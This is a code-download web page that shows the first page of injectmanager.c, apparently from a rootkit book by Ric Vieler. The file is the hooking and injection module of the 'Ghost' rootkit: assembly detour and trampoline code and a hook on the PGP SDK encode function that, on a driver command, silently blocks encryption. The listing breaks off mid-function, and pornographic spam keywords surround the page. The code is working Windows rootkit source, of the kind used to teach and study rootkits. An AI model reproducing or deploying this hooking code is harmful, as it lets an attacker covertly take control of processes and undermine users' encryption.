亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? injectmanager.c

?? 很好的rootkit介紹書籍
?? C
?? 第 1 頁 / 共 2 頁
字號:
// injectManager
// Copyright Ric Vieler, 2006
// Hook Dynamic Link Libraries

#include "ntddk.h"
#include "Ghost.h"
#include "hookManager.h"
#include "injectManager.h"
#include "IoManager.h"
#include "parse86.h"
#include <stdarg.h>
#include <stdio.h>

#pragma code_seg("PAGE")
#pragma optimize( "", off )

extern PVOID kernel32Base;

static void HookTable( void );
static void DetourFunction( void );
static void EndOfInjectedCode( void );
static DWORD beforeEncode( PDWORD stack, DWORD* callbackReturn, IN_PROCESS_DATA* pCallData );
static DWORD BeforeOriginalFunction( DWORD hookIndex, PDWORD originalStack, DWORD* returnParameter, IN_PROCESS_DATA* callData );
static void AfterOriginalFunction( DWORD hookIndex, PDWORD originalStack, DWORD* returnParameter, IN_PROCESS_DATA* callData );

#define JUMP_TO_DETOUR_LOCATION			-5
#define CALLDATA_INDEX_LOCATION			0
#define CALLDATA_PARAMETERS_LOCATION	4
#define CALLDATA_CALLTYPE_LOCATION		8
#define CALLDATA_STACK_OFFSET_LOCATION	12
#define TRAMPOLINE_LOCATION				16
#define START_OF_TRAMPOLINE_PATTERN		-1

void __declspec(naked) HookTable( void )
{
	__asm
	{
		push eax
		xor eax, eax
		call phoney_call
phoney_call:
		lea eax, phoney_call
		lea edx, phoney_jump
		sub edx, eax
		pop eax
		add eax, edx
		mov edx, eax
		pop eax
		jmp DetourFunction
phoney_jump:
		EMIT_FOUR( 0xff )
		EMIT_FOUR( 0x0 )
		EMIT_FOUR( 0x0 )
		EMIT_FOUR( 0x0 )
		EMIT_FOUR( 0x90 )
		EMIT_FOUR( 0x90 )
		EMIT_FOUR( 0x90 )
		EMIT_FOUR( 0x90 )
		EMIT_FOUR( 0x90 )
		EMIT_FOUR( 0x90 )
		EMIT_FOUR( 0x90 )
		EMIT_FOUR( 0x90 )
		EMIT_FOUR( 0x90 )
		jmp EndOfInjectedCode
	}
}

////////////////////////////////
// Injected functions
////////////////////////////////

void __declspec(naked) DetourFunction( void )
{
	PUSH_STACKFRAME();
	{
		DWORD		hookIndex;
		DWORD		parameters;
		DWORD		callType;
		DWORD		stackOffset;
		PCHAR		trampolineFunction;
		IN_PROCESS_DATA*	callData;
		PCHAR		codeStart;
		PDWORD		originalStack;
		DWORD		tempStack;
		int			loop;
		int			parameters4return;
		DWORD		parameter2return = 0;
		DWORD		continueFlag;
		DWORD		register_esp;
		DWORD		register_edi;
		DWORD		register_esi;
		DWORD		register_eax;
		DWORD		register_ebx;
		DWORD		register_ecx;
		DWORD		add2stack;

		// setup to call injected functions
		__asm
		{
			mov register_esp, esp
			mov register_edi, edi
			mov register_esi, esi
			mov register_eax, eax
			mov register_ebx, ebx
			mov register_ecx, ecx

			// get parameters
			push edx
			mov edx, [edx+CALLDATA_INDEX_LOCATION]
			mov hookIndex, edx
			pop edx
			push edx
			mov edx, [edx+CALLDATA_PARAMETERS_LOCATION]
			mov parameters, edx
			pop edx
			push edx
			mov edx, [edx+CALLDATA_CALLTYPE_LOCATION]
			mov callType, edx
			pop edx
			push edx
			mov edx, [edx+CALLDATA_STACK_OFFSET_LOCATION]
			mov stackOffset, edx
			pop edx
			push edx
			add edx, TRAMPOLINE_LOCATION
			mov trampolineFunction, edx
			pop edx
			// caculate the start address
			xor eax, eax
			call called_without_return
called_without_return:
			pop eax
			lea ebx, DetourFunction
			lea ecx, called_without_return
			sub ecx, ebx
			sub eax, ecx
			mov codeStart, eax
			// data area
			lea ecx, EndOfInjectedCode
			sub ecx, ebx
			add ecx, eax
			mov callData, ecx
			// caculate the last ret address
			mov eax, ebp
			add eax, 4	// pushed ebp
			add eax, stackOffset
			mov originalStack, eax
		}

		// setup return call type
		if( callType == CDECL_TYPE )
			add2stack = parameters * sizeof( DWORD );
		else
			add2stack = 0;
		// call pre-injected code
		continueFlag = BeforeOriginalFunction( hookIndex, originalStack, &parameter2return, callData );
		if( continueFlag == (DWORD)TRUE )
		{
			for( loop = parameters; loop > 0; loop-- )
			{
				tempStack = originalStack[loop];
				__asm push tempStack
			}
			// Call trampoline (jumps to original function)
			//
			// Since trampoline is a jump, the return in
			// the original function will come back here.
			__asm
			{
				lea ebx, DetourFunction
				lea eax, return_from_trampoline
				sub eax, ebx
				add eax, codeStart
				// construct call
				push eax
				// adjust stack
				sub esp, stackOffset
				// restore registers and call
				mov edi, register_edi
				mov esi, register_esi
				mov eax, register_eax
				mov ebx, register_ebx
				mov ecx, register_ecx
				jmp trampolineFunction
return_from_trampoline:
				add esp, add2stack
				mov parameter2return, eax
			}
			// call post-injected code
			AfterOriginalFunction( hookIndex, originalStack, &parameter2return, callData );
		}
		// prepare to return
		tempStack = *originalStack;
		if( callType == CDECL_TYPE )
			parameters4return = 0;
		else
			parameters4return = parameters;
		__asm
		{
			mov eax, parameter2return
			mov ecx, tempStack
			mov edx, parameters4return
			shl edx, 2
			add edx, stackOffset
			POP_STACKFRAME();
			add esp, 4
			add esp, edx
			jmp ecx
		}
		__asm mov edx, trampolineFunction
	}
	POP_STACKFRAME();
	__asm jmp edx
}

///////////////////////////////////////////////////////////////
// this function is located in the PGP SDK
// dynamic link library (old=PGP_SDK.DLL, new=PGPsdk.dll)
// This function accepts the callers input and output,
// which may be memory or file based, and converts the input
// into encrypted output
//
// return TRUE to allow encryption
// return FALSE to block encryption
///////////////////////////////////////////////////////////////
DWORD beforeEncode( PDWORD stack, DWORD* callbackReturn, IN_PROCESS_DATA* pCallData )
{
	void*					contextPtr = (void*)stack[1];
	PGPOptionList*			optionListPtr = (PGPOptionList*)stack[2];
	DWORD					dwRet = (DWORD)TRUE;

	int index;
	int inputType = 0;
	void* lpBuffer;
	DWORD dwInBufferLen = 0;
	PGPOption* currentOption = optionListPtr->options;
	PFLFileSpec* fileSpec;
	HANDLE deviceHandle;
	GHOST_IOCTLDATA control = { 0 };
	ULONG status = 0;

	// Look at the options in the option list
	for( index = 0; index < optionListPtr->numOptions; index++)
	{
		if( currentOption->type == 1 )
		{
			// File Input
			inputType = 1;
			fileSpec = (PFLFileSpec*)currentOption->value;
			lpBuffer = fileSpec->data;
			dwInBufferLen = (DWORD)pCallData->plstrlenA((LPCSTR)(lpBuffer));
			break;
		}
		else if( currentOption->type == 2 )
		{
			// Buffer Input
			inputType = 2;
			lpBuffer = (void*)currentOption->value;
			dwInBufferLen = (DWORD)currentOption->valueSize;
			break;
		}
		currentOption++;
	}

	// Process buffer or file before encryption
	if(( inputType == 1 || inputType == 2 ) && ( dwInBufferLen > 0 ))
	{
		deviceHandle = pCallData->pCreateFileA( pCallData->deviceString,
			GENERIC_READ | GENERIC_WRITE,
			0,
			NULL,
			OPEN_EXISTING,
			FILE_ATTRIBUTE_NORMAL,
			NULL);
		if (deviceHandle != INVALID_HANDLE_VALUE)
		{
			if( pCallData->pDeviceIoControl( deviceHandle,
				GHOST_STATUS_COMMAND,
				&control,
				sizeof(control), // input
				(PVOID)&control,
				sizeof(control), // output
				&status,
				NULL ) )
			{
				if(control.command == GHOST_ON)
				{
					// blocking encryption
					dwRet = (DWORD)FALSE;
					*callbackReturn = PGP_BAD_API;
					pCallData->pOutputDebugStringA(pCallData->denyString);
				}
				else

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
欧美视频中文一区二区三区在线观看| 精品日韩一区二区三区| av中文字幕一区| 成人性生交大片| 春色校园综合激情亚洲| 国产99久久久精品| 福利一区二区在线| www.爱久久.com| 一本色道亚洲精品aⅴ| 色哟哟日韩精品| 欧美日韩精品高清| 欧美一区二区三区影视| 欧美成人性战久久| 久久蜜桃av一区精品变态类天堂| 久久人人爽人人爽| 国产欧美日韩在线| 国产精品久久免费看| 亚洲欧美电影院| 亚洲自拍另类综合| 午夜欧美电影在线观看| 日韩经典中文字幕一区| 日韩中文字幕1| 国内精品免费在线观看| 国产精品性做久久久久久| 高清成人免费视频| 91激情五月电影| 欧美日韩一级片在线观看| 欧美一区二区三区视频| 欧美草草影院在线视频| 国产精品色一区二区三区| 亚洲激情六月丁香| 日韩电影网1区2区| 国产福利视频一区二区三区| jlzzjlzz亚洲日本少妇| 欧美日韩一卡二卡三卡| 久久欧美一区二区| 亚洲男帅同性gay1069| 丝袜亚洲另类欧美综合| 国产一区二区精品久久| 色偷偷一区二区三区| 日韩一区二区三区四区| 国产精品亲子伦对白| 午夜精品成人在线| 国产成人免费视频一区| 91福利社在线观看| 精品电影一区二区| 亚洲欧美日韩小说| 麻豆成人av在线| 99riav一区二区三区| 7777精品伊人久久久大香线蕉超级流畅| 久久久五月婷婷| 亚洲一区在线观看免费观看电影高清 | 国产精品资源在线看| av午夜一区麻豆| 日韩视频中午一区| 综合久久久久综合| 精品一区二区日韩| 色乱码一区二区三区88| 久久精品综合网| 日韩精品福利网| 色婷婷亚洲精品| 国产偷国产偷亚洲高清人白洁| 亚洲一区二区精品视频| 国产成人精品三级麻豆| 6080亚洲精品一区二区| 综合欧美一区二区三区| 激情伊人五月天久久综合| 欧美在线看片a免费观看| 久久婷婷一区二区三区| 午夜a成v人精品| 色94色欧美sute亚洲线路二| 久久久久99精品一区| 爽好久久久欧美精品| 91免费视频网| 欧美国产日韩a欧美在线观看| 日韩成人av影视| 在线亚洲免费视频| 国产精品视频你懂的| 国产一区免费电影| 日韩美女主播在线视频一区二区三区| 亚洲色图制服丝袜| 成人久久久精品乱码一区二区三区| 日韩精品在线网站| 日韩精品色哟哟| 欧美性猛片aaaaaaa做受| 日韩理论片网站| 粉嫩高潮美女一区二区三区 | 亚洲日本乱码在线观看| 国产激情精品久久久第一区二区| 91精品国产综合久久国产大片| 亚洲精品国产成人久久av盗摄| 99视频精品在线| 中文字幕不卡在线播放| 粉嫩嫩av羞羞动漫久久久| 国产视频在线观看一区二区三区| 久久99精品国产91久久来源| 欧美一级国产精品| 日本欧美肥老太交大片| 51精品秘密在线观看| 午夜成人免费视频| 91精品在线观看入口| 三级精品在线观看| 在线播放中文字幕一区| 日韩高清在线观看| 欧美一区二区三区在线电影| 日本伊人午夜精品| 日韩欧美高清dvd碟片| 老司机一区二区| 精品国产免费一区二区三区香蕉| 麻豆精品在线播放| 久久久天堂av| a美女胸又www黄视频久久| 亚洲色图视频网| 在线观看精品一区| 亚洲成人自拍网| 6080亚洲精品一区二区| 精品一区二区三区在线播放| 久久亚区不卡日本| 岛国精品在线观看| 亚洲精品视频在线| 欧美三级日本三级少妇99| 日本欧美一区二区三区| 久久久99精品免费观看不卡| 国产精华液一区二区三区| 国产日产欧美一区二区视频| 99久久综合色| 亚洲午夜电影网| 欧美一级免费观看| 国产原创一区二区| 国产精品久久久久久久久免费樱桃 | 日韩一区国产二区欧美三区| 久久精品久久精品| 国产精品三级av在线播放| 成人免费毛片a| 亚洲精品综合在线| 欧美一区二区三区人| 国产露脸91国语对白| 中文字幕五月欧美| 777亚洲妇女| 国产成人精品影视| 亚洲影院久久精品| 精品日韩成人av| 一本色道久久综合狠狠躁的推荐| 午夜免费久久看| 国产人成亚洲第一网站在线播放| 一本久久综合亚洲鲁鲁五月天| 日韩精品视频网站| 国产精品乱人伦中文| 69堂精品视频| 豆国产96在线|亚洲| 亚洲一二三区在线观看| 日韩女优av电影| 色综合天天做天天爱| 日本va欧美va欧美va精品| 国产精品理伦片| 日韩欧美激情在线| 91麻豆免费看片| 精品一区二区三区蜜桃| 亚洲靠逼com| 久久午夜电影网| 欧美二区在线观看| 高清不卡在线观看av| 视频一区在线播放| 亚洲欧美影音先锋| 精品国产一区久久| 欧美无砖砖区免费| 成人高清视频在线| 久久99精品久久久久久动态图| 一区二区欧美视频| 国产日产欧产精品推荐色| 欧美日韩电影一区| 91免费观看国产| 国产一区二区在线免费观看| 亚洲国产日韩a在线播放性色| 国产精品区一区二区三区| 日韩欧美电影一区| 欧美久久久久久久久久| 色香色香欲天天天影视综合网| 国产成人免费视频一区| 美美哒免费高清在线观看视频一区二区 | 欧美在线观看一二区| 成人av在线网| 激情成人午夜视频| 日韩一区精品字幕| 亚洲小说欧美激情另类| 亚洲色图.com| 中文字幕成人在线观看| 久久久精品免费网站| 欧美电影免费观看完整版 | 一区二区三区在线视频观看58| 久久综合九色综合久久久精品综合 | 欧美日韩成人综合| 欧洲精品在线观看| 色婷婷综合久久| 在线电影院国产精品| 色狠狠综合天天综合综合| 97精品久久久久中文字幕| 9人人澡人人爽人人精品| 不卡电影一区二区三区| 成人黄色小视频在线观看|